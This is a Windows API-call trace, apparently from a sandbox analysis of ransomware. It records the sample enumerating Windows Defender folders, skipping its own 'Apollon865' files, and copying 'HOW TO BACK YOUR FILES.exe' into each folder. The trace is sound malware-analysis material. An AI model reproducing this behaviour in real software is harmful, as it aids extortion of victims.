	[0039.271] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x2f84de50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f84de50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.272] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.272] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.272] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="CacheManager" | out: lpString1="CacheManager") returned="CacheManager"
	[0039.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0039.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x92) returned 0x599bd8
	[0039.272] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdd0 | out: ListHead=0x5b76b0, ListEntry=0x59fdd0) returned 0x59fdb0
	[0039.272] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f827cf0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f827cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.272] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.272] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xa13d69d0, ftLastAccessTime.dwHighDateTime=0x1d2dda3, ftLastWriteTime.dwLowDateTime=0xa13d69d0, ftLastWriteTime.dwHighDateTime=0x1d2dda3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Results", cAlternateFileName="")) returned 1
	[0039.272] lstrcmpiW (lpString1="Results", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.272] lstrcmpiW (lpString1="Results", lpString2="Apollon865.txt.exe") returned 1
	[0039.272] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="Results" | out: lpString1="Results") returned="Results"
	[0039.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fde8
	[0039.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b8f28
	[0039.272] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdf0 | out: ListHead=0x5b76b0, ListEntry=0x59fdf0) returned 0x59fdd0
	[0039.272] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xb9820270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb9820270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Service", cAlternateFileName="")) returned 1
	[0039.272] lstrcmpiW (lpString1="Service", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.272] lstrcmpiW (lpString1="Service", lpString2="Apollon865.txt.exe") returned 1
	[0039.272] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="Service" | out: lpString1="Service") returned="Service"
	[0039.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe08
	[0039.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b8e98
	[0039.272] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe10 | out: ListHead=0x5b76b0, ListEntry=0x59fe10) returned 0x59fdf0
	[0039.272] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Store", cAlternateFileName="")) returned 1
	[0039.272] lstrcmpiW (lpString1="Store", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.272] lstrcmpiW (lpString1="Store", lpString2="Apollon865.txt.exe") returned 1
	[0039.272] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="Store" | out: lpString1="Store") returned="Store"
	[0039.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe28
	[0039.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x84) returned 0x5b8e08
	[0039.272] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe30 | out: ListHead=0x5b76b0, ListEntry=0x59fe30) returned 0x59fe10
	[0039.272] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Store", cAlternateFileName="")) returned 0
	[0039.272] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.273] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fe30
	[0039.273] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store"
	[0039.273] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8e08 | out: hHeap=0x580000) returned 1
	[0039.273] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe28 | out: hHeap=0x580000) returned 1
	[0039.273] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store") returned 65
	[0039.273] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store"
	[0039.273] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.273] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\store\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.277] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.277] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x2f84de50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f84de50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.277] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.277] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.277] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service"
	[0039.277] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8e98 | out: hHeap=0x580000) returned 1
	[0039.277] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe08 | out: hHeap=0x580000) returned 1
	[0039.277] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service") returned 67
	[0039.277] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service"
	[0039.277] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.277] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\service\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.282] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.282] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x2f84de50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f84de50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.282] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.282] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.282] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="History.Log" | out: lpString1="History.Log") returned="History.Log"
	[0039.282] lstrlenW (lpString="History.Log") returned 11
	[0039.282] lstrlenW (lpString="Apollon865") returned 10
	[0039.282] lstrcmpiW (lpString1="istory.Log", lpString2="Apollon865") returned 1
	[0039.282] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="Unknown.Log" | out: lpString1="Unknown.Log") returned="Unknown.Log"
	[0039.282] lstrlenW (lpString="Unknown.Log") returned 11
	[0039.282] lstrlenW (lpString="Apollon865") returned 10
	[0039.282] lstrcmpiW (lpString1="nknown.Log", lpString2="Apollon865") returned 1
	[0039.282] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results"
	[0039.282] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0039.282] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fde8 | out: hHeap=0x580000) returned 1
	[0039.282] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results") returned 67
	[0039.282] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results"
	[0039.282] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.282] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\results\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.287] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.287] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x2f873fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f873fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.287] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.287] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.287] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="Resource" | out: lpString1="Resource") returned="Resource"
	[0039.287] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fde8
	[0039.287] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9a) returned 0x599c78
	[0039.287] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdf0 | out: ListHead=0x5b76b0, ListEntry=0x59fdf0) returned 0x59fdd0
	[0039.287] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0x80be8ad0, ftLastAccessTime.dwHighDateTime=0x1d33740, ftLastWriteTime.dwLowDateTime=0x80be8ad0, ftLastWriteTime.dwHighDateTime=0x1d33740, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Resource", cAlternateFileName="")) returned 0
	[0039.288] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.288] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fdf0
	[0039.288] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource"
	[0039.288] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599c78 | out: hHeap=0x580000) returned 1
	[0039.288] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fde8 | out: hHeap=0x580000) returned 1
	[0039.288] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource") returned 76
	[0039.288] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource"
	[0039.288] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.288] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\results\\resource\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.292] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.292] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0x2f873fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f873fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.292] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.292] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.292] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}" | out: lpString1="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}") returned="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}"
	[0039.292] lstrlenW (lpString="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}") returned 38
	[0039.292] lstrlenW (lpString="Apollon865") returned 10
	[0039.292] lstrcmpiW (lpString1="8D4A9AFB0}", lpString2="Apollon865") returned -1
	[0039.292] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager"
	[0039.292] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0039.292] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0039.292] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager") returned 72
	[0039.292] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager"
	[0039.292] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.293] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\cachemanager\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.297] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.297] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x2f873fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f873fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.297] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.297] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.297] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="MpSfc.bin" | out: lpString1="MpSfc.bin") returned="MpSfc.bin"
	[0039.297] lstrlenW (lpString="MpSfc.bin") returned 9
	[0039.297] lstrlenW (lpString="Apollon865") returned 10
	[0039.297] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine"
	[0039.297] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0039.297] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fda8 | out: hHeap=0x580000) returned 1
	[0039.297] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine") returned 56
	[0039.297] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine"
	[0039.297] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.298] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\quarantine\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.303] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.303] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f89a110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f89a110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.303] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.303] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.303] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy"
	[0039.303] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0039.303] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0039.304] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy") returned 55
	[0039.304] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy"
	[0039.304] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.304] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\localcopy\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.309] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.309] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f89a110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f89a110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.309] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.309] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.309] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates"
	[0039.309] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9168 | out: hHeap=0x580000) returned 1
	[0039.309] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0039.309] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates") returned 64
	[0039.309] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates"
	[0039.309] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
